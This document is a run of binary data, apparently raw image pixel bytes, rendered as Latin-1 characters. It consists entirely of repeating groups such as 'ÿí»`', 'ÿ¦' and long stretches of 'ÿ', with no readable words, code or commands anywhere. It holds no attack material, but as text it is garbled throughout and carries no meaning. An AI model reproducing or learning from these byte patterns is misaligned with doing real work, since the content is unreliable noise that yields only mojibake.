|ÿ¦|ÿ¦|ÿqUÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ“nÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿB2ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ"ÿé¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ›ÿi ÿ2ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜x>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿšÿi ÿ2ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ>ÿê¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ™ÿi ÿ,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿS ÿÿ¦ÿÓ~>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ”ÿ^ ÿ'ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿS ÿŽÿ¦ÿ¦ÿ¦ÿ¦ÿ°*ÿì¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ’ÿ^ ÿ'ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿS ÿŒÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÓ~>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ‘ÿ^ ÿ'ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿHÿ…ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ°*ÿì¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ‹ÿS ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿHÿ€ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÓ~>ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ‹ÿS 